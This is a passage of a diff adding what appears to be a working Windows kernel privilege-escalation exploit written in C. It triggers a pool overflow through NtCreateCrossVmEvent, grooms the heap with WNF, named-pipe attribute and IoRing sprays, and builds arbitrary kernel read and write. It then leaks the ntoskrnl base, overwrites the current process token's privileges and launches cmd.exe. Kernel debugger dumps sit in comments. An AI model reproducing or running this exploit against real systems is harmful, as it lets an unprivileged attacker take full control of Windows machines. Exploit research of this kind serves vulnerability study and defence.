0; size <= 0xff50; size+= 0x50) + { + memcpy((char*)data + size, wnf, 0x50); + ((_WNF_STATE_DATA*)((char*)data + size + sizeof(_POOL_HEADER)))->ChangeStamp = wnf_start_idx; + wnf_start_idx++; + } + memcpy((char*)data + 0xffa0, wnfpoolheader, 0x10); + //printf(" done acl buffer setup\n"); + + OBJECT_ATTRIBUTES objattr = SetupAcl(data, 0xffb0); + // Trigger Vuln + //printf("[+] Calling NtCreateCrossVmEvent\n"); + HANDLE CrossVmEvent; + NTSTATUS status = NtCreateCrossVmEvent(&CrossVmEvent, EVENT_ALL_ACCESS, &objattr, 0, &VmId, &VmId); + //if(!NT_SUCCESS(status)) printf("[!] NtCreateCrossVmEvent Error: 0x%lx\n", status); + + // fill the holes with wnf + for(int i = 0; i < SPRAY_SIZE_3; i++) + { + state3[i] = SprayWnf(spray, 0x30); + } + //DebugBreak(); + + // find 2 wnf state data to be freed and used by pipe attribute and IORing object size 0x50 + printf("[+] Finding 2 consecutive corrupted wnf state data object ..\n"); + BOOL found = FALSE; + ULONG corrupted_wnf_index; + ULONG next_corrupted_wnf_index; + ULONG next_next_corrupted_wnf_index; + + void* buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x150); + for(int i = 0; i < SPRAY_SIZE_2; i++) + { + ULONG stamp = 0; + ULONG size = 0x30; + HRESULT res = NtQueryWnfStateData(state2[i], NULL, NULL, &stamp, buffer, &size); + if(res != 0) + { + res = NtQueryWnfStateData(state2[i], NULL, NULL, &stamp, buffer, &size); + if(*(ULONG_PTR*)buffer != 0x4141414141414141 && *(ULONG_PTR*)buffer != NULL); + { + if(((_POOL_HEADER*)((char*)buffer + 0x30))->PoolTag == 0x20666e57 && // wnf + ((_WNF_STATE_DATA*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->DataSize == 0xf0 && + ((_POOL_HEADER*)((char*)buffer + 0x30 + 0x50))->PoolTag == 0x20666e57 && // wnf + ((_WNF_STATE_DATA*)((char*)buffer + 0x30 + 0x50+ sizeof(_POOL_HEADER)))->DataSize == 0xf0) + { + found = TRUE; + corrupted_wnf_index = i; + next_corrupted_wnf_index = find_wnf_index(((_WNF_STATE_DATA*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->ChangeStamp, state2); + next_next_corrupted_wnf_index = find_wnf_index(((_WNF_STATE_DATA*)((char*)buffer + 0x30 + 0x50 + sizeof(_POOL_HEADER)))->ChangeStamp, state2); + + printf("[+]\tIndex: 0x%x\n", corrupted_wnf_index); + printf("[+]\tnext Index: 0x%x\n", next_corrupted_wnf_index); + printf("[+]\tnext next Index: 0x%x\n", next_next_corrupted_wnf_index); + printf("[+]\tchanged stamp: 0x%lx\n", stamp); + printf("[+]\tNext object change stamp: 0x%lx\n", ((_WNF_STATE_DATA*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->ChangeStamp); + printf("[+]\tNext Next Object change stamp: 0x%lx\n", ((_WNF_STATE_DATA*)((char*)buffer + 0x30 + 0x50 + sizeof(_POOL_HEADER)))->ChangeStamp); + printf("[+]\tNext object Pool Tag: 0x%lx\n", ((_POOL_HEADER*)((char*)buffer + 0x30))->PoolTag); + printf("[+]\tNext Object wnf DataSize: 0x%x\n", ((_WNF_STATE_DATA*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->DataSize); + printf("[+]\tNext Next Object Pool Tag: 0x%lx\n", ((_POOL_HEADER*)((char*)buffer + 0x30 + 0x50))->PoolTag); + printf("[+]\tNext Next Object wnf DataSize: 0x%x\n", ((_WNF_STATE_DATA*)((char*)buffer + 0x30 + 0x50+ sizeof(_POOL_HEADER)))->DataSize); + break; + } + } + } + } + if(!found) + { + printf("[!] Not found.\n"); + goto cleanup; + } + + if(corrupted_wnf_index == 0 || next_corrupted_wnf_index == 0 || next_next_corrupted_wnf_index == 0) + { + printf("[!] Heap spray failed.\n"); + goto cleanup; + } + + //DebugBreak(); + + for(int i = 0; i < PIPE_SPRAY_SIZE; i++) + { + if(!CreatePipe(&spraypipe[i].pipe_read, &spraypipe[i].pipe_write, NULL, 0x0)) printf("CreatePipe failed.\n"); + } + + size_t attribute_size = 0x50 - 0x38; // 0x38 = 0x28 + 0x10 + void* attribute = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100); + memset(attribute, 0x41, 0x100); + *(char*)attribute = 'S'; + *((char*)attribute + 0x1) = '\0'; + void* output = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100); + + + SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); + SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); + IO_STATUS_BLOCK iosb; + // free the 1st wnf + printf("[+] Try replace 1st wnf with pipeattribute Object\n"); + status = NtDeleteWnfStateData(state2[next_corrupted_wnf_index], NULL); + if(!NT_SUCCESS(status)) printf("[!] Failed to free wnf to replace with ioring.\n"); + + // create pipe attribute stuct of size 0x50 in paged pool. + for(int i = 0; i< PIPE_SPRAY_SIZE; i++) + { + status = NtFsControlFile( + spraypipe[i].pipe_write, + NULL, + NULL, + NULL, + &iosb, + 0x11003c, + attribute, + attribute_size, + output, + 0x100 + ); + if(!NT_SUCCESS(status)) printf("NtFsControlFile failed.\n"); + } + + //Sleep(5000); + //DebugBreak(); + + SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); + SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); + + // free the 2nd wnf + printf("[+] Try replace 2nd wnf with IoRing Object\n"); + status = NtDeleteWnfStateData(state2[next_next_corrupted_wnf_index], NULL); + if(!NT_SUCCESS(status)) printf("[!] Failed to free wnf to replace with ioring.\n"); + + sprayioring(); + + /* + ffff8504e5ec7d00 size: 50 previous size: 0 (Allocated) Wnf + *ffff8504e5ec7d50 size: 50 previous size: 0 (Allocated) *NpAt + Owning component : Unknown (update pooltag.txt) + ffff8504e5ec7da0 size: 50 previous size: 0 (Allocated) IrRB Process: ffffac8a200ab0c0 + + ffff8504`e5ec7d00 20666e57`03050000 41414141`41414141 + ffff8504`e5ec7d10 000000f0`00100904 00000016`000000f0 + ffff8504`e5ec7d20 00000000`00000000 00000000`00000000 + ffff8504`e5ec7d30 00000000`00000000 00000000`00000000 + ffff8504`e5ec7d40 00000000`00000000 00000000`00000000 + ffff8504`e5ec7d50 7441704e`03050000 00000000`00000000 + ffff8504`e5ec7d60 ffff8504`e8b2c770 ffff8504`e8b2c770 + ffff8504`e5ec7d70 ffff8504`e5ec7d88 00000000`00000016 + ffff8504`e5ec7d80 ffff8504`e5ec7d8a 41414141`41410053 + ffff8504`e5ec7d90 41414141`41414141 41414141`41414141 + ffff8504`e5ec7da0 42527249`0b050000 0d8feb6e`45fd4a4c + ffff8504`e5ec7db0 ffffac8a`232c8d10 00000000`00000000 + ffff8504`e5ec7dc0 00000000`00000000 00000000`00000000 + ffff8504`e5ec7dd0 00000000`00000000 00000000`00000000 + ffff8504`e5ec7de0 00000000`00000000 00000000`00000000 + ffff8504`e5ec7df0 20666e57`03050000 41414141`41414141 + + */ + + //DebugBreak(); + + // read the pool tag to confirm if it is NpAt. + ULONG stamp; + ULONG corrupted_wnf_size = 0xf0; + memset(buffer, 0, 0x150); + status = NtQueryWnfStateData(state2[corrupted_wnf_index], NULL, NULL, &stamp, buffer, &corrupted_wnf_size); + if(!NT_SUCCESS(status)) printf("NtQueryWnfStateData corrupted wnf state error.\n"); + printf("[+] new tag1: 0x%lx\n", ((_POOL_HEADER*)((char*)buffer + 0x30))->PoolTag); + printf("[+] new tag2: 0x%lx\n", ((_POOL_HEADER*)((char*)buffer + 0x30 + 0x50))->PoolTag); + + if(((_POOL_HEADER*)((char*)buffer + 0x30))->PoolTag != 0x7441704e || ((_POOL_HEADER*)((char*)buffer + 0x30 + 0x50))->PoolTag != 0x42527249) // NpAt, IrRB + { + printf("[+] Failed to replace with NpAt and IrRB\n"); + goto cleanup; + } + + printf("[+] successfully replaced with NpAt and IrRB!\n"); + getchar(); + + ULONG_PTR real_flink = (ULONG_PTR)((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->list.Flink; + ULONG_PTR fileobject_ptr = (ULONG_PTR)((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->list.Flink - ROOT_PIPE_ATTRIBUTE_OFFSET + FILE_OBJECT_OFFSET; + //ULONG_PTR leak_root_queue = (ULONG_PTR)((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->list.Flink - ROOT_PIPE_ATTRIBUTE_OFFSET + ROOT_PIPE_QUEUE_ENTRY_OFFSET; + printf("[+] Real Flink: 0x%llx\n", real_flink); + printf("[+] FileObject ptr: 0x%llx\n", fileobject_ptr); + //printf("[+] leak_root_queue: 0x%llx\n", leak_root_queue); + + /* + ffff820b`cd0a6b70 20666e57`03050000 41414141`41414141 + ffff820b`cd0a6b80 000000f0`00100904 0000000b`000000f0 + ffff820b`cd0a6b90 00000000`00000000 00000000`00000000 + ffff820b`cd0a6ba0 00000000`00000000 00000000`00000000 + ffff820b`cd0a6bb0 00000000`00000000 00000000`00000000 + ffff820b`cd0a6bc0 7441704e`03050000 00000000`00000000 + ffff820b`cd0a6bd0 ffff820b`cd448c90 ffff820b`cd448c90 + ffff820b`cd0a6be0 ffff820b`cd0a6bf8 00000000`00000016 + ffff820b`cd0a6bf0 ffff820b`cd0a6bfa 41414141`41410053 + ffff820b`cd0a6c00 41414141`41414141 41414141`41414141 + */ + + pipe_attribute_t* fake_pipe_attribute = (pipe_attribute_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(pipe_attribute_t)); + fake_pipe_attribute->list.Flink = (LIST_ENTRY*)0xdeadbeefcafef00d; + fake_pipe_attribute->list.Blink = (LIST_ENTRY*)0xdeadbeefcafef00d; + fake_pipe_attribute->AttributeName = ATTRIBUTE_NAME; + fake_pipe_attribute->ValueSize = 0x100; + fake_pipe_attribute->AttributeValue = (char*)0xdeadbeefcafebabe; + + ((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->list.Flink = (LIST_ENTRY*)fake_pipe_attribute; //fake userland ptr + char* value = ((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->data + 2; + memset(value, 0x42, 0x8); // set "BBBB.." + //hexdump(buffer, 0x100); + status = NtUpdateWnfStateData(state2[corrupted_wnf_index], buffer, corrupted_wnf_size, NULL, NULL, 0, 0); + if(!NT_SUCCESS(status)) + { + printf("[!] NtupdateWnfStateData on corrupted wnf failed.\n"); + goto restore_pipe; + } + //DebugBreak(); + + //find the pipe attribute index + int pipe_attribute_index = 0xffff; + for(int i = 0; i< PIPE_SPRAY_SIZE; i++) + { + IO_STATUS_BLOCK iosb; + char input[ATTRIBUTE_LENGTH] = "S"; + char out[0x100] = {0}; + + status = NtFsControlFile(spraypipe[i].pipe_write, + NULL, + NULL, + NULL, + &iosb, + 0x110038, + input, + ATTRIBUTE_LENGTH, + out, + sizeof(out)); + if(!NT_SUCCESS(status)) + { + printf("[!] Pipe Get attribute failed\n"); + goto restore_pipe; + } + + if(*(ULONG_PTR*)out == 0x4242424242424242) + { + pipe_attribute_index = i; + printf("[+] Found corrupted pipe attribute: 0x%lx\n", pipe_attribute_index); + break; + } + } + if(pipe_attribute_index == 0xffff) + { + printf("[!] not found corrupted pipe attribute\n"); + goto restore_pipe; + } + + // find the kernel base + ULONG_PTR fileobject = 0x0; + ULONG_PTR deviceobject = 0x0; + ULONG_PTR driverobject = 0x0; + ULONG_PTR NpFsdCreate = 0x0; + + arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)fileobject_ptr, 0x8, (char*)&fileobject); + printf("[+] FileObject: 0x%llx\n", fileobject); + + arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)fileobject + 0x8, 0x8, (char*)&deviceobject); + printf("[+] DeviceObject: 0x%llx\n", deviceobject); + + arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)deviceobject + 0x8, 0x8, (char*)&driverobject); + printf("[+] DriverObject: 0x%llx\n", driverobject); + + arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)driverobject + 0x70, 0x8, (char*)&NpFsdCreate); + printf("[+] MajorFunction: 0x%llx\n", NpFsdCreate); + + /* + 1: kd> ? fffff800`514fe670 - fffff800`514fcfc0 <- FsdCreate + Evaluate expression: 5808 = 00000000`000016b0 + 1: kd> ? fffff800`514fe670 - fffff800`514f7050 <-- exallocatepool2 + Evaluate expression: 30240 = 00000000`00007620 + 1: kd> ? fffff805`24aaf2d0 - nt + Evaluate expression: 11203280 = 00000000`00aaf2d0 <-- offset to exallocate in nt + */ + + ULONG_PTR exallocatepool2ptr = NpFsdCreate + NPFS_NPFSDCREATE_OFFSET - NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET; + ULONG_PTR exallocatepool2 = 0x0; + + arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)exallocatepool2ptr, 0x8, (char*)&exallocatepool2); + printf("[+] ExAllocatePool2: 0x%llx\n", exallocatepool2); + + ULONG_PTR ntosbase = exallocatepool2 - NT_ALLOCATEPOOLWITHTAG_OFFSET; + printf("[+] ntoskrnl base: 0x%llx\n", ntosbase); + + ULONG_PTR ExpPoolQuotaCookie = 0x0; + arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)ntosbase + NT_POOLQUOTACOOKIE_OFFSET, 0x8, (char*)&ExpPoolQuotaCookie); + printf("[+] ExPoolQuotaCookie: 0x%llx\n", ExpPoolQuotaCookie); + + // find the self eprocess and winlogon process + ULONG_PTR PsInitialSystemProcess = 0x0; + + arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)ntosbase + NT_PSINITIALSYSTEMPROCESS_OFFSET, 0x8, (char*)&PsInitialSystemProcess); + printf("[+] PsInitialSystemProcess: 0x%llx\n", PsInitialSystemProcess); + + // pipe_queu_entry address for creating fake eprocess. + // ULONG_PTR fake_eprocess_queue_entry = 0x0; + // arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)leak_root_queue, 0x8, (char*)&fake_eprocess_queue_entry); + // printf("[+] fake_eprocess_queue_entry: 0x%llx\n", fake_eprocess_queue_entry); + + // ULONG_PTR fake_eprocess = fake_eprocess_queue_entry + LEN_OF_PIPE_QUEUE_ENTRY_STRUCT; + // printf("[+] fake eprocess: 0x%llx\n", fake_eprocess); + + DWORD selfpid = GetCurrentProcessId(); + printf("[*] Looking for process with pid %d ...\n", selfpid); + ULONG_PTR currentprocesslist = PsInitialSystemProcess + 0x448; // offset windows 11 23h2. + ULONG_PTR currentpid = 0x0; + ULONG_PTR winlogonpid = 0x0; + ULONG_PTR currenteprocess = 0x0; + + // char tmp[0x100]; + // char winlogon[] = "winlogon.exe"; + // size_t winlogonsize = strlen(winlogon); + + do + { + arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)currentprocesslist, 0x8, (char*)¤tprocesslist); + arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)currentprocesslist - 0x8, 0x8, (char*)¤tpid); + + if(currentpid == selfpid) + { + currenteprocess = currentprocesslist - 0x448; + printf("[+] Current eprocess: 0x%llx\n", currenteprocess); + } + + // // find winlogon process. + // memset(tmp, 0x0, sizeof(tmp)); + // arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)currentprocesslist - 0x448 + 0x5a8, winlogonsize, tmp); + // if(!strcmp(tmp, winlogon)) + // { + // winlogonpid = currentpid; + // printf("[+] Found Winlogon pid :0x%llx\n", winlogonpid); + // } + + //if(currenteprocess && winlogonpid) break; + if(currenteprocess) break; + } + while(currentprocesslist != PsInitialSystemProcess + 0x448); + + if(currenteprocess == 0x0) + { + printf("[!] failed to find self process!\n"); + goto restore_pipe; + } + + // find self token + ULONG_PTR currenttoken = 0x0; + arb_read(fake_pipe_attribute, pipe_attribute_index, (char*)currenteprocess + 0x4b8, 0x8, (char*)¤ttoken); + currenttoken = currenttoken & (~0xf); + printf("[+] self token: 0x%llx\n", currenttoken); + + // // setup fake eprocess + // char fake_eprocess_attribute_buf[0x1000] = {0}; + // char fake_eprocess_buf[0x1500] = {0}; + + // strcpy(fake_eprocess_attribute_buf, DUMB_ATTRIBUTE_NAME2); + + // initfakeeprocess(fake_eprocess_buf, (void*)(currenttoken + 0x48)); + // memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN, fake_eprocess_buf, FAKE_EPROCESS_SIZE); + // initfakeeprocess(fake_eprocess_buf, (void*)(currenttoken + 0x41)); + // memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN + FAKE_EPROCESS_SIZE, fake_eprocess_buf, FAKE_EPROCESS_SIZE); + + // printf("[+] calling writefile.\n"); + // getchar(); + // DebugBreak(); + // // use writefile to create a pipe_queue_entry in which the fake eprocess is stored + // write_pipe(spraypipe[pipe_attribute_index].pipe_write, fake_eprocess_buf + DUMB_ATTRIBUTE_NAME2_LEN, FAKE_EPROCESS_SIZE*2); + + // printf("done writefile..\n"); + + // ARB WRITE + printf("[+] Do Arb Write.\n"); + getchar(); + inputPipe = CreateNamedPipeW(INPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL); + if (inputPipe == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to create input pipe: 0x%x\n", GetLastError()); + goto restore_pipe; + } + outputPipe = CreateNamedPipeW(OUTPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL); + if (outputPipe == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to create output pipe: 0x%x\n", GetLastError()); + goto restore_pipe; + } + + outputClientPipe = CreateFileW(OUTPUT_PIPE_NAME, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + NULL); + + if (outputClientPipe == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to open handle to output file: 0x%x\n", GetLastError()); + goto restore_pipe; + } + + inputClientPipe = CreateFileW(INPUT_PIPE_NAME, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + NULL); + + if (inputClientPipe == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to open handle to input pipe: 0x%x\n", GetLastError()); + goto restore_pipe; + } + + //IOP_MC_BUFFER_ENTRY* fake_bufferentry = NULL; + fake_bufferentry = reinterpret_cast(VirtualAlloc(NULL, 0x5000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)); + VirtualLock(fake_bufferentry, 0x5000); + fake_bufferentry = reinterpret_cast(reinterpret_cast(fake_bufferentry) + 0x3000); + memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY)); + + ((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->list.Flink = (LIST_ENTRY*)real_flink; + value = ((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->data + 2; + memset(value, 0x41, 0x8); + ULONG_PTR real_bufferentry = *(ULONG_PTR*)(((char*)buffer + 0x30 + 0x50 + sizeof(_POOL_HEADER))); + printf("[+] real buffer entry: 0x%llx\n", real_bufferentry); + printf("[+] fake buffer entry: 0x%llx\n", (ULONG_PTR)fake_bufferentry); + IOP_MC_BUFFER_ENTRY** regbufferaddr = (PIOP_MC_BUFFER_ENTRY*)(((char*)buffer + 0x30 + 0x50 + sizeof(_POOL_HEADER))); + regbufferaddr[0] = fake_bufferentry; + //*(ULONG_PTR*)(((char*)buffer + 0x30 + 0x50 + sizeof(_POOL_HEADER))) = (ULONG_PTR)fake_bufferentry; + status = NtUpdateWnfStateData(state2[corrupted_wnf_index], buffer, corrupted_wnf_size, NULL, NULL, 0, 0); + if(!NT_SUCCESS(status)) + { + printf("[!] NtupdateWnfStateData on corrupted wnf failed.\n"); + }; + //DebugBreak(); + + ULONG_PTR jnk; + for (int i = 0; i < IORING_SPRAY_SIZE; i++) { + targetHandle = reinterpret_cast(Iohandle[i]); + KRead((PVOID)fileobject_ptr, reinterpret_cast(&jnk), sizeof(jnk)); + if (jnk != 0x4141414141414141) { + printf("[+] Target IoRing Idx: %d Handle : 0x%llx\n", i, (ULONG_PTR)targetHandle); + break; + } + } + + ULONG_PTR privilege = 0xffffffffffffffff; + KWrite((void*)((char*)currenttoken + 0x40), (byte*)&privilege, 0x8); + KWrite((void*)((char*)currenttoken + 0x48), (byte*)&privilege, 0x8); + + printf("check privilege\n"); + getchar(); + //DebugBreak(); + + system("cmd.exe"); + + restore_ioring: + ((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->list.Flink = (LIST_ENTRY*)real_flink; + value = ((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->data + 2; + memset(value, 0x41, 0x8); + //ULONG_PTR real_bufferentry = *(ULONG_PTR*)((pipe_attribute_t*)((char*)buffer + 0x30 + 0x50 + sizeof(_POOL_HEADER))); + //regbufferaddr = (PIOP_MC_BUFFER_ENTRY*)(((char*)buffer + 0x30 + 0x50 + sizeof(_POOL_HEADER))); + regbufferaddr[0] = (IOP_MC_BUFFER_ENTRY*)real_bufferentry; + status = NtUpdateWnfStateData(state2[corrupted_wnf_index], buffer, corrupted_wnf_size, NULL, NULL, 0, 0); + if(!NT_SUCCESS(status)) + { + printf("[!] NtupdateWnfStateData on corrupted wnf failed.\n"); + }; + + restore_pipe: + //replace the fake pipe attribute + ((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->list.Flink = (LIST_ENTRY*)real_flink; + value = ((pipe_attribute_t*)((char*)buffer + 0x30 + sizeof(_POOL_HEADER)))->data + 2; + memset(value, 0x41, 0x8); + //hexdump(buffer, 0x100); + status = NtUpdateWnfStateData(state2[corrupted_wnf_index], buffer, corrupted_wnf_size, NULL, NULL, 0, 0); + if(!NT_SUCCESS(status)) + { + printf("[!] NtupdateWnfStateData on corrupted wnf failed.\n"); + }; + DebugBreak(); + + cleanup: + //cleanup the wnf spray + printf("[+] Cleaning Heap Spray.\n"); + for(int i = 0; i < SPRAY_SIZE_1; i++) NtDeleteWnfStateData(state1[i], NULL); + for(int j = 0; j < SPRAY_SIZE_2; j++) + { + if(state2[j]) NtDeleteWnfStateData(state2[j], NULL); + } + for(int i = 0; i < SPRAY_SIZE_3; i++) NtDeleteWnfStateData(state3[i], NULL); + + if(Iohandle[1] ) for(int j = 0; j < IORING_SPRAY_SIZE; j++) CloseIoRing(Iohandle[j]); + if(spraypipe[1].pipe_read) + { + for(int j = 0; j < PIPE_SPRAY_SIZE; j++) + { + CloseHandle(spraypipe[j].pipe_read); + CloseHandle(spraypipe[j].pipe_write); + } + } + + return 0; +} +``` \ No newline at end of file